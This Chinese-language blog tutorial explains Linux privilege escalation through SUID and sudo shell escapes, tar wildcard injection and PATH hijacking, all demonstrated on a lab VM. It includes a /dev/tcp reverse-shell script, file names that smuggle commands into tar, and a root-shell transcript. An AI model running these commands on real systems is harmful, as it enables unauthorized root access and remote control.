返回
Featured image of post Linux 提权

Linux 提权

go!

Linux提权

suid和sudo提权

suid

SUID,英文全称是Set owner User ID up on execution,它是一种特殊的文件权限,能够让用户(如Tom)用其他用户(如root用户)的权限运行一个程序,而不需要用sudo进行临时提权。

一个程序执行时会有三个id状态,分别如下:

  • Real User ID:执行这个程序的用户的真实id,以用户登录时候的id为准
  • Effective User ID:是程序执行过程中使用权限时真正起作用的用户id,操作系统在检查一个程序有没有某个权限的时候会查看该id
  • Saved User ID:程序临时提权时需要保存的先前的用户id,等提权结束后需要回退到这个用户id

suid用途

如果用户Tom有另一个用户root的程序的执行权限,并且root给这个程序设置了SUID位,那么Tom就可以用root的权限来执行这个程序

遍历suid文件

find / -perm -u=s 2>/dev/null

设置suid

# 设置suid位
chmod 4xxx filename

# 设置sgid位
chmod 2xxx filename

# 设置suid和sgid位
chmod 6xxx filename

其中xxx指的是文件的一般读写执行权限

取消suid

# 取消suid和sgid
chmod xxx filename
# 取消suid或sgid
chmod u-s filename or chmod g-s filename

注意

suid位只对编译过的可执行程序起作用,比如给某一个sh脚本赋予suid位置,而sh脚本的实际执行程序是sh或者bash之类,如果它们在执行的时候并不会检查脚本文件的suid位,就不会起作用了

suid提权姿势

find

find . -exec /bin/sh -p \; -quit

注意:前提都是find可执行文件具备suid

其他类似的:https://gtfobins.github.io/

sudo

sudo权限是把本来只能超级用户执行的命令赋予普通用户执行

要配置sudo,需要修改/etc/sudoers

# sudoers文件对某个用户或用户组的sudo配置

授权用户/组 主机   =[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...
字段1      字段2   字段3                字段4              字段5

# 字段1
不以%开头表示授权用户; 以%开头表示授权用户组
# 字段2
表示允许登录的主机;ALL表示所有;如果该字段不为ALL,表示授权用户只能在某些机器上登录本服务器来执行sudo命令
# 字段3
如果省略, 相当于(root:root),表示可以通过sudo提权到root; 如果为(ALL)或者(ALL:ALL), 表示能够提权到(任意用户:任意用户组)
# 字段4
可能取值是NOPASSWD:,注意NOPASSWD后面带有冒号:,表示执行sudo时可以不需要输入密码
# 字段5
用逗号分开一系列命令,ALL表示允许所有操作

sudo -l可查看自己的sudo配置

sudo提权姿势

sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'

sudo find . -exec /bin/sh \; -quit

其他类似sudo提权命令:https://gtfobins.github.io/

通配符提权

该类提权一般都配合计划任务,发现计划任务使用了相关命令通配符

通配符

*:匹配任意数量字符

?:匹配任意单个字符

[]:一组字符,其中任意一个字符都可匹配该位置单个字符

~:单个表示当前用户主目录名称,~后跟用户名表示某用户根目录名称

示例

示例1

test目录下有2个文件

cool@cool-virtual-machine:~/test$ ls
test2  test.txt

执行cat *

cool@cool-virtual-machine:~/test$ cat *
sadadada
hahahah

创建–help文件

cool@cool-virtual-machine:~/test$ echo "my help" > --help
cool@cool-virtual-machine:~/test$ ls
--help  test2  test.txt

再次执行cat *

cool@cool-virtual-machine:~/test$ cat *
Usage: cat [OPTION]... [FILE]...
Concatenate FILE(s) to standard output.

With no FILE, or when FILE is -, read standard input.

  -A, --show-all           equivalent to -vET
  -b, --number-nonblank    number nonempty output lines, overrides -n
  -e                       equivalent to -vE
  -E, --show-ends          display $ at end of each line
  -n, --number             number all output lines
  -s, --squeeze-blank      suppress repeated empty output lines

可观察到并没有读取"–help"文件的内容,而是被视为"cat"命令的–help命令帮助选项

这种可称为**“wildcard wildness”**

示例2

在test目录下生成反弹shell脚本

cool@cool-virtual-machine:~/test$ echo "/bin/sh -i>&/dev/tcp/127.0.0.1/7777 0>&1" > shell.sh
cool@cool-virtual-machine:~/test$ ls
shell.sh

生成如下文件

cool@cool-virtual-machine:~/test$ echo "" > "--checkpoint-action=exec=sh shell.sh"
cool@cool-virtual-machine:~/test$ echo "" > "--checkpoint=1"
cool@cool-virtual-machine:~/test$ ls
--checkpoint=1  --checkpoint-action=exec=sh shell.sh  shell.sh

监听端口

cool@cool-virtual-machine:~$ nc -nvlp 7777
Listening on [0.0.0.0] (family 0, port 7777)

执行tar命令

cool@cool-virtual-machine:~/test$ tar cf /tmp/test.tar *

监听结果

cool@cool-virtual-machine:~$ nc -nvlp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from [127.0.0.1] port 7777 [tcp/*] accepted (family 2, sport 36508)
sh-4.3$ id
id
uid=1000(cool) gid=1000(cool) groups=1000(cool),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

注意

tar命令的通配符注入需要进入到目标目录,使用通配符"*",例如 tar -cf /tmp/test.tar *

使用绝对路径,如:tar -cf /tmp/test.tar /tmp/test/*, 那么–checkpoint等会失效,无法执行命令

敏感文件

Path 环境变量劫持

system函数会调用shell(sh)执行命令(传入的参数)

现有这样一段可执行程序,如:

#include<unistd.h>
void main()
{
	setuid(0);
	setgid(0);
	system("whoami");
}

以root用户编译后生成“haha”可执行文件如下(具有suid位):

root@cool-virtual-machine:/home/cool/test# ll
total 40
drwxrwxr-x  2 cool cool 4096 10月 25 10:56 ./
drwxr-xr-x 27 cool cool 4096 10月 25 09:29 ../
-rwsr-xr-x  1 root root 8656 10月 25 10:56 haha*

以普通用户编译这样一段程序:

#include<unistd.h>
void main()
{
	system("/bin/bash");
}

生成"whoami"文件:

cool@cool-virtual-machine:~/test$ ll
total 40
drwxrwxr-x  2 cool cool 4096 10月 25 11:00 ./
drwxr-xr-x 27 cool cool 4096 10月 25 09:29 ../
-rwsr-xr-x  1 root root 8656 10月 25 10:56 haha*
-rw-rw-r--  1 cool cool   86 10月 25 10:56 test.c
-rwxrwxr-x  1 cool cool 8608 10月 25 10:50 whoami*

劫持环境变量:

cool@cool-virtual-machine:~/test$ export PATH=/home/cool/test:$PATH
cool@cool-virtual-machine:~/test$ which whoami
/home/cool/test/whoami

执行./haha:

cool@cool-virtual-machine:~/test$ ./haha
root@cool-virtual-machine:~/test# id
uid=0(root) gid=1000(cool) groups=1000(cool),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy